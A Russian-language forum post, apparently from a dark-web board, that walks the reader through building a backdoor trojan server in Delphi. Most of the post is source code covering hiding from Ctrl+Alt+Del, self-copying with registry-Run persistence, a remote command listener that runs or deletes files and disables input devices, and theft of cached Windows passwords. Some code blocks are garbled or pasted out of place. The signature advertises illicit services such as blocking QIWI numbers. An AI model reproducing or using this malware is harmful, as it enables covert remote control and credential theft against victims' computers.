Пишем троян BackDoor на Delphi

Тема в разделе "Софт и инструменты", создана пользователем Hermanicus, 4 мар 2017.

  1. BackDoor – это троянский конь, состоящий из клиент и сервера. Клиент посылает серверу данные, а сервер их обрабатывает и выполняет какие-то действия.

    Для начала будет создавать сервер. Войдем в Delphi, нажимаем File -> New Application. У нас появляется пустая форма, назовем её frmsrv.

    Нажимаем Project -> View Source, стираем там все и пишем:

    code:

    Код:
    program Server;
    uses
    Forms,
    Unit1 in 'Unit1.pas' {frmsrv};
    begin
    Application.Initialize;
    Application.CreateForm(TFrmsrv, frmsrv);
    Application.ShowMainForm:=false; //чтобы главная форма не показывалась
    Application.Run;
    end.
    Уменьшим её размер (это не обязательно) и положим на форму компонент TServerSocket из раздела Internet, назовем его SrvMain.И компонент TfileListBox из раздела Win 3.1,назовем TfileListBox1. Приступим к написанию программного кода. Создадим процедуру запуска трояна при каждой загрузке Windows и скрытия его от Alt+Ctrl+Del. Заходим в программный код, добавляем в uses модуль Registry и пишем после строки {$R *.DFM}

    code:

    Код:
    Type tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;stdcall;

    Type TWNetEnumCachedPasswords = function (lp : lpStr; w : Word;b: Byte; pc : Pointer; dw : DWord) : Word;stdcall;

    procedure HideACD; // Процедура для скрытия трояна от Alt+Ctrl+Del
    var
    hndl : thandle;
    registerserviceprocess : tregisterserviceprocess;
    begin
    try
    hndl:=loadlibrary('KERNEL32.DLL'); //Загружаем в память библиотеку
    registerserviceprocess:=getprocaddress(hndl,'Regis terServiceProcess');
    registerserviceprocess(getcurrentprocessid,1); //Используем функцию RegisterServiceProcess
    freelibrary(hndl); // выгружаем библиотеку из памяти
    except end;
    end;
    function WinDir: string;
    var
    intLen:integer;
    strBuffer:string;
    begin
    SetLength(strBuffer,1000);
    intLen:=GetWindowsDirectory(PChar(strBuffer),1000) ;
    WinDir:=Trim(Copy(strBuffer,1,intLen));
    end;
    function SysDir: string; // Определение системной папки
    var
    intLen:integer;
    strBuffer:string;
    begin
    SetLength(strBuffer,1000);
    intLen:=GetSystemDirectory(PChar(strBuffer),1000);
    SysDir:=Trim(Copy(strBuffer,1,intLen));
    end;
    procedure Install;
    var
    Reg:TRegistry;
    cPath,Win:string;
    begin
    try
    Win:=SysDir+’sys32.exe’; // Путь в системной папке
    cPath:=Application.ExeName; // Путь к нашему exe-файлу
    Reg:=TRegistry.Create;
    Reg.RootKey:=HKEY_LOCAL_MACHINE; //пишемся в реестр
    Reg.OpenKey('\Software\Microsoft\Windows\CurrentVe rsion\Run',False);
    //Открвыем ключ
    //автозапуска

    code:

    Код:
    Reg.WriteString(‘Sys32’,Win); // Пишем путь к себе
    Reg.CloseKey; // Закрываем ключ
    Reg.Free;
    if (cPath <> Win) then // если путь запущенного файла не равен путю файл в системной папке, то
    begin
    if FileExists(Win) then DeleteFile(Win); // если файл существует - удалить
    CopyFile(PChar(cPath),PChar(Win),False); // скопировать себя.
    end;
    except end; // Также по желанию можно добавить прописывание в Win.ini и System.ini

    end;
    Нажимаем F11, у нас появляется (если не было) Object Inspector, выбираем в списке SrvMain. Ставим порт 567 или любой другой. К этому порту будет подключаться клиент. Затем переходим на вкладку Events и 2 раза жмем мышой рядом с надписью OnClientRead. У нас открывается программный код. Вот там и пишем:

    code:

    Код:
    procedure TFrmSrv.SrvMainClientRead(Sender: TObject; Socket: TCustomWinSocket);
    var comd,param,str1,tmp: string;
    i:integer;
    Reg:Tregistry;
    begin
    str1:=socket.receivetext; // Принимаем данные от клиента
    i:=pos('!?!',str1);
    comd:=copy(str1,0,i-1);
    param:=copy(str1,i+3,length(str1)-i);
    if comd='reboot' then //если текст идущий до !?! равен reboot, то грузануть комп!
    begin
    ExitWindowsEx(EWX_REBOOT, 0);
    Socket.SendText('tmp!?!Перезагружает� �я...');
    end;
    if comd='opCD' then //открыть сидюк
    begin
    mciSendString(Pchar('set cdaudio door open'),nil,0,0);
    Socket.SendText('tmp!?!CD-ROM открыт...');
    end;
    if comd='clCD'then
    begin
    mciSendString(Pchar('set cdaudio door closed'),nil,0,0);
    Socket.SendText('tmp!?!CD-ROM закрыт...');
    end;
    if comd='dir'then //получить список файлов
    begin
    tmp:='file!?!'+ShowFile(param);
    Socket.SendText(tmp);
    end;
    if comd='run' then //запустить файл
    begin
    if FileExists (param) then
    begin
    ShellExecute(handle,'Open',PChar(param),nil,nil,1) ;
    Socket.SendText('tmp!?!Файл запущен...');
    end
    else
    Socket.SendText('tmp!?!Не удалось запустить файл...');
    end;
    if comd='del' then //удалить файл
    begin

    if FileExists (param) then
    begin
    DeleteFile(param);
    Socket.SendText('tmp!?!Файл удален...');
    end
    else
    Socket.SendText('tmp!?!Не удалось удалить файл...');
    end;
    if comd='boot' then
    begin
    ExitWindowsEx(EWX_SHUTDOWN, 0);
    Socket.SendText('tmp!?!Комп выключатеся...');
    end;
    if comd='getpass' then //получить кешированные пароли
    begin
    Socket.SendText('pass!?!'+GetPasswords);
    end;
    if comd='close' then // закрыть сервер
    begin
    Socket.SendText('tmp!?!Сервер Закрыт...');
    Application.Terminate;
    exit;
    end;
    if comd='killme' then
    begin
    Socket.SendText('tmp!?!Сервер удален...');
    Reg:=TRegistry.Create;
    Reg.RootKey:=HKEY_LOCAL_MACHINE;
    Reg.OpenKey('\Software\Microsoft\Windows\CurrentVe rsion\Run',False);
    //Открываем ключ
    //автозапуска

    code:

    Код:
    Reg.deletevalue('Sys32'); // Удаляем
    Reg.Free;
    Application.Terminate;
    exit;
    end;
    if comd='dismouse' then // отключаем мышь
    Код:
    var
    Count:Integer;
    FPasswords:string;
    function AddPassword(WinPassword:PWinPassword; dwWord):LongBool;stdcall;
    var
    Password:string;
    PC: array [0..$FF] of Char;
    begin
    Inc(Count);
    Move(WinPassword.PasswordC,PC,WinPassword.Resource Size);
    PC[WinPassword.ResourceSize] := #0;
    CharToOem(PC,PC);
    Password:=StrPas(PC);
    Move(WinPassword.PasswordC,PC,WinPassword.Resource Size + WinPassword.PasswordSize);
    Move(PC[WinPassword.ResourceSize],PC,WinPassword.PasswordSize);
    PC[WinPassword.PasswordSize]:=#0;
    CharToOem(PC,PC);
    Password:=Password + ': ' + StrPas(PC);
    if (WinPassword.EntryType = 6) or (WinPassword.EntryType = 19) then
    FPasswords:=FPasswords + Password + #13#10;
    Result:=True;
    end;
    function TFrmSrv.GetPasswords:string;
    var
    hndl : thandle;
    WNetEnumCachedPasswords : TWNetEnumCachedPasswords;
    begin
    try
    hndl:=loadlibrary('MPR.DLL');
    WNetEnumCachedPasswords:=getprocaddress(hndl,'WNet EnumCachedPasswords');
    Count:=0;
    FPasswords:='';
    WNetEnumCachedPasswords(nil,0,$FF,@AddPassword,0);
    freelibrary(hndl);
    except end;
    Result:=FPasswords;
    end;
    begin
    Socket.SendText('tmp!?!Мышь отключена...');
    WinExec(PChar(WinDir + '\rundll32.exe mouse,disable'),SW_SHOWNORMAL);
    end;
    if comd='diskey' then // отключаем клаву
    begin
    Socket.SendText('tmp!?!Клава отключена...');
    WinExec(PChar(WinDir + '\rundll32.exe keyboard,disable'),SW_SHOWNORMAL);
    end;
    if comd='msg' then // выдаем месагу
    begin
    MessageBox(application.Handle,PChar(param),'',32);
    Socket.SendText('tmp!?!Сообщение послано...');
    end;
    end;
    В процедуре создания формы пишем:
    procedure TFrmSrv.FormCreate(Sender: TObject);
    begin
    HideACD; // прячемся от Ctrl+Alt+Del
    Install; // устанавливаемся
    SrvMain.Open; // открываем порт
    SrvMain.Active:=true;
    end;
    И функции для получения паролей и списка файлов.
    
    code:
    Код:
    var
    Count:Integer;
    FPasswords:string;
    function AddPassword(WinPassword:PWinPassword; dwWord):LongBool;stdcall;
    var
    Password:string;
    PC: array [0..$FF] of Char;
    begin
    Inc(Count);
    Move(WinPassword.PasswordC,PC,WinPassword.Resource Size);
    PC[WinPassword.ResourceSize] := #0;
    CharToOem(PC,PC);
    Password:=StrPas(PC);
    Move(WinPassword.PasswordC,PC,WinPassword.Resource Size + WinPassword.PasswordSize);
    Move(PC[WinPassword.ResourceSize],PC,WinPassword.PasswordSize);
    PC[WinPassword.PasswordSize]:=#0;
    CharToOem(PC,PC);
    Password:=Password + ': ' + StrPas(PC);
    if (WinPassword.EntryType = 6) or (WinPassword.EntryType = 19) then
    FPasswords:=FPasswords + Password + #13#10;
    Result:=True;
    end;
    function TFrmSrv.GetPasswords:string;
    var
    hndl : thandle;
    WNetEnumCachedPasswords : TWNetEnumCachedPasswords;
    begin
    try
    hndl:=loadlibrary('MPR.DLL');
    WNetEnumCachedPasswords:=getprocaddress(hndl,'WNet EnumCachedPasswords');
    Count:=0;
    FPasswords:='';
    WNetEnumCachedPasswords(nil,0,$FF,@AddPassword,0);
    freelibrary(hndl);
    except end;
    Result:=FPasswords;
    end;
    Все! Сервер завершен! Теперь осталось написать клиент, который к этому серверу будет присоединяться, но писать мы его не будем! Думаю и самим несложно будет это сделать.Размер сервера получился не маленьким, но если сжать упаковщик, то будет всего 150 КБ.
    
    Ну вот и рассмотрели пример простейшего BackDoor’a на Delphi. Не так то уж это и сложно.
     [/INDENT]
    [FONT=Tahoma][SIZE=3][B][COLOR=#000000]Предлагаю услуги по:[/COLOR][/B][/SIZE][/FONT]
    [B][FONT=Tahoma][COLOR=rgb(191, 191, 191)][SIZE=4]1. [URL='https://bestdarkforum.cc/threads/sozdam-zerkalo-ljubogo-sajta-v-seti-tor.3329/']Сделаю зеркало любого сайта в сети ТОR[/URL][/SIZE]
    2. [URL='https://bestdarkforum.cc/threads/zablokiruju-ljuboj-nomer-qiwi.3253/']Блокировка ЛЮБОГО QIWI Номера (Быстро)[/URL][/COLOR][/FONT][/B]
    [FONT=Tahoma][SIZE=3][COLOR=#bfbfbf]
    [IMG]https://i.imgur.com/Nl8lVi9.gif[/IMG]
    Мануалы и софт выложены в ознакомительных целях вся ответственность за использования ложится на вас.
    Софт советую использовать на виртуалке.[/COLOR][/SIZE][/FONT]
     
  2. Спасибо, попробуем)
     

Поделиться этой страницей